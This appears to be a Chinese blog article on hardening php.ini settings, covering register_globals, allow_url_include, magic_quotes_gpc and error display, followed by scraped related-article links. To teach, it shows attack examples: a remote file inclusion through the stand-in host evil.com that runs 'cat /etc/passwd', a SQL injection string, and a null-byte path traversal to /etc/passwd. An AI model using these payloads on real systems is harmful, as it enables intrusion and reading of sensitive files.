PHP安全相关的配置
PHP作为一门强大的脚本语言被越来越多的web应用程序采用,不规范的PHP安全配置可能会带来敏感信息泄漏、SQL注射、远程包含等问题,规范的安全配置可保障最基本的安全环境。下面我们分析几个会引发安全问题的PHP配置,并给出建议的选项。
1、register_globals = Off
PHP在进程启动时,会根据register_globals的设置,判断是否将$_GET、$_POST、$_COOKIE、$_ENV、$_SERVER、$REQUEST等数组变量里的内容自动注册为全局变量。
我们举个例子来说明register_globals = On时,会引发的安全问题:
<?php
if (authenticated_user())
{
$authorized = true;
}
?>
// 由于authorized 未被初始化,故而可能通过register_globals被定义
// 如 GET example.php?authorized=1
<?php
if (!$authorized)
{
// 一些重要的操作,比如SetCookies
include("SetCookies.php");
}
?>
对于上述代码,由于PHP会自动的为每个提交的值创建一个变量,这样只要在请求中提交http://example.com/example.php?authorized=1,即可获得授权操作,为了避免出现这样的问题,建议将register_globals配置为Off。
2、allow_url_include =Off
PHP通过此选项控制是否允许通过include/require来执行一个远程文件(如http://evil.com/evil.php或ftp://evil.com/evil.php)。
代码示例如下:
// http://HostA/test.php如下:
<?php
$strParam = $_GET['param'];
if (!include_once($strParam . '.php')){
echo "error";
}
?>
// http://evil.com/evil.php示例如下:
<?php
echo "<?php system('cat/etc/passwd'); ?>"
?>
假如用户访问如下的URL,访问页面中的$strParam将被设置为一个远程的URL:http://evil.com/evil.php。如果此配置被设置为on,那么test.php会通过include_once执行远程服务器上的PHP文件(http://evil.com/evil.php),后果不言而喻。
http://HostA/test.php?param=http://evil.com/evil
所以建议此选项强制配置为Off。
当然要彻底解决上述代码的安全漏洞,除了规范PHP配置,还需要规范PHP编码。
3、magic_quotes_gpc = on
举一个典型的SQL注入示例,假如SQL语句用如下方式拼接:
select * from user where pass=' ". $_GET['passwd']. "' and user='" . $_GET['username'] ."';
假如用户提交一个login.php?passwd=p&username=' or '1'='1请求,代码中的SQL语句将变成:
这就造成一个SQL注入漏洞。避免此问题出现的正确思路是开发者在拼接SQL语句之前过滤所有接收的数值,并严格执行这种编码规范,但是并不是所有的开发者都会意识到这种问题的存在,而此时,如果将php.ini的magic_quotes_gpc设置为On时,PHP将对所有GPC参数($_GET,$_POST,$_COOKIE)进行addslashes处理[既转义单引号、双引号、反斜线和nullbyte],该SQL语句将是:
由于'已经被转义,SQL语句不能被成功执行,从而防止SQL注射。
另外,以小节2中的http://HostA/test.php为例,当magic_quotes_gpc= Off的情况下,用户提交一个example.php?param=../../../etc/passwd%00请求,由于代码中限制的文件后缀(.php)将被%00截断,就会通过require_once尝试读取/etc/passwd文件。
值得注意的是,magic_quotes_gpc配置为On时,有以下缺点:
1、PHP此时会对所有GPC参数做addslashes处理,会有比较大的性能损耗。
2、当GPC参数被用于其他操作如逻辑关系判断之前就必须先做strislashes处理,否则结果必然是不正确的。
考虑到开启此选项带来的性能损耗和代码的复杂化,可以在使用时灵活设置,对于一些不规范或者无人维护的代码,可以开启此选项;更好的做法是将此值设置为Off,由开发者严格过滤来自用户的输入。
4、expose_php = Off
我们经常会在一个http头里发现这样的信息:
X-Powered-By:PHP/5.2.11
PHP的版本号暴露无疑,攻击者很容易捕获到此信息,要想解决此问题我们只要如下配置:
expose_php = Off
5、display_errors = Off
此控制项控制PHP是否将error、notice、warning日志打印出来,以及打印的位置。错误信息主要用于辅助开发,但是在线上环境却非常危险,因为这样将会把服务端的WebServer、数据库、PHP代码部署路径,甚至是数据库连接、数据表等关键信息暴露出去,为攻击者带来极大便利。所以建议产品上线时修改为Off。
6、error_reporting = E_ALL& ~E_NOTICE
此配置项控制PHP打印哪些错误日志(errors,warnings,notices)。默认情况下会打印所有的错误日志,线上环境我们应该不显示具体的E_NOTICE日志信息。导致E_NOTICE错误的最普遍场景是——使用未经初始化的变量,以下述代码为例:
<?php
// 假如用户请求中无username 参数,则会打印notice错误
$username = $_GET['username']; // 引用一个未初始化的变量var2
// 则会打印notice错误
$var1 = $var2;
?>
如果用户访问的url中没有指定username参数,则代码中$_GET['username']就是一个未经初始化的变量,直接访问就会抛出一个NOTICE错误。上述代码执行会报如下错误,这样即泄漏了代码目录。
PHP Notice: Undefined index: username in /somepath/test.php on line 3
PHP Notice: Undefined variable: var2 in /somepath/test.php on line 6
攻击者会利用这些信息,猜测代码逻辑,使得攻击变得更方便。
7、display_startup_errors =Off
PHP启动时产生的错误由此选项进行控制,这个和display_errors是分开的。为了避免PHP进程启动时产生的错误被打印到页面上而造成信息泄漏,此选项在线上服务也应该被配置为Off。为了方便开发和调试,开发环境可以将其设置为On。
由此我们可以看出,正确的PHP基础安全配置可有效避免很多高危漏洞,避免泄漏服务器敏感信息,从而提升产品的安全性。
PHP安全相关的配置的更多相关文章
- PHP安全相关的配置(2)
php用越来越多!安全问题更为重要!这里讲解如果安全配置php.ini 安全配置一 (1) 打开php的安全模式 php的安全模式是个非常重要的内嵌的安全机制,能够控制一些php中的函数,比如syst ...
- PHP安全相关的配置(1)
PHP作为一门强大的脚本语言被越来越多的web应用程序采用,不规范的php安全配置可能会带来敏感信息泄漏.SQL注射.远程包含等问题,规范的安全配置可保障最基本的安全环境.下面我们分析几个会引发安全问 ...
- redis5.0主从配置
1.下载 wget http://download.redis.io/releases/redis-5.0.3.tar.gz .tar.gz cd redis- make make test //检查 ...
- Spring Boot Security配置教程
1.简介 在本文中,我们将了解Spring Boot对spring Security的支持. 简而言之,我们将专注于默认Security配置以及如何在需要时禁用或自定义它. 2.默认Security设 ...
- Spring Boot . 4 -- 定制 Spring Boot 配置
覆写 Auto-Configuration 的类 利用外部属性进行动态配置 [本文] 定制 Error 页面 [第二篇] Spring Boot的自动配置可以节省很多无趣的配置工作,但是并不是所有的自 ...
- tomcat 的安全配置预防后台被攻击
安全是系统架构中最重要的关注点之一,通常情况下,所说的安全涵盖网络安全.数据安全.操作系统安全.服务器安全以及应用系统安全等诸多方面. Tomcat 是一个免费的开放源代码 的Web应用服务器,技术先 ...
- Flume官方文档翻译——Flume 1.7.0 User Guide (unreleased version)(二)
Flume官方文档翻译--Flume 1.7.0 User Guide (unreleased version)(一) Logging raw data(记录原始数据) Logging the raw ...
- HAProxy学习笔记
HAProxy:著名的负载均衡器,工作于用户空间的服务程序,其有两种工作模式: TCP mode:四层调度(模拟实现,依赖于socket进行通信) HTTP mode:七层调度 目前维护的稳定版本分支 ...
- flume1.8 基础架构介绍(一)
1. 系统要求 1. Java运行环境 -- Java 1.8及以上 2. 内存 -- 足够的内存供配置的sources,channels 或者sinks使用 3. 硬盘空间 -- 足够的硬盘空间供配 ...
随机推荐
- SQL小助手——SQL Prompt
背景: 当数据库设计的比较复杂.庞大时,我们如果对脚本不是很熟悉,就会很难完成看似简单的增.删.改.查的操作.我们需要一款软件来给出相应的提示或帮助,来提高代码的可读性,更快更好的完成任务. 简介: ...
- Mysql入门的10条语句
1.查看当前服务器下面,有那些库(database)? 答: show databases; 2.如何创建一个数据库? 答 : create database 最后面在写数据库名:分号结束 3.选择数 ...
- [poj] 3304 Segments || 判断线段相交
原题 给出n条线段,判断是否有一条直线与所有线段都有交点 若存在这样一条直线,那么一定存在一条至少过两个线段的端点的直线满足条件. 每次枚举两条线段的两个端点,确定一条直线,判断是否与其他线段都有交点 ...
- linux下对/sys/class/gpio中的gpio的控制 (转)
在嵌入式设备中对GPIO的操作是最基本的操作.一般的做法是写一个单独驱动程序,网上大多数的例子都是这样的.其实linux下面有一个通用的GPIO操作接口,那就是我要介绍的 “/sys/clas ...
- jquery.uploadify不支持MVC的Authorize
原文发布时间为:2011-10-18 -- 来源于本人的百度文章 [由搬家工具导入] 为什么jquery.uploadify不支持MVC的Authorize呢,因为flash的cookie跟服务端的不 ...
- poj 2187 Beauty Contest(二维凸包旋转卡壳)
D - Beauty Contest Time Limit:3000MS Memory Limit:65536KB 64bit IO Format:%I64d & %I64u ...
- IaaS, PaaS和SaaS
原文链接:http://www.leiphone.com/news/201406/iaas-paas-and-saas.html 云服务”现在已经快成了一个家喻户晓的词了.如果你不知道PaaS, Ia ...
- 【问题帖】压缩图片大小至指定Kb以下
像PS,QQ影像等都有该功能,将图片大小压缩至指定kb以下. 我也来山寨一把,到目前为止,控制图片的大小,平时的解决方案通过分辨率和质量来控制的. 假定最后压缩的大小是100kb,那么在保证不大于10 ...
- 在iOS上实现一个简单的日历控件
http://blog.csdn.net/jasonblog/article/details/21977481 近期需要写一个交互有点DT的日历控件,具体交互细节这里略过不表. 不过再怎么复杂的控件, ...
- V4L2 camera 驱动 capture测试程序【转】
转自:http://blog.csdn.net/kickxxx/article/details/6336346 在网上找了一个测试程序, 看了看,是根据capture.c修改的.测试步骤如下 . gc ...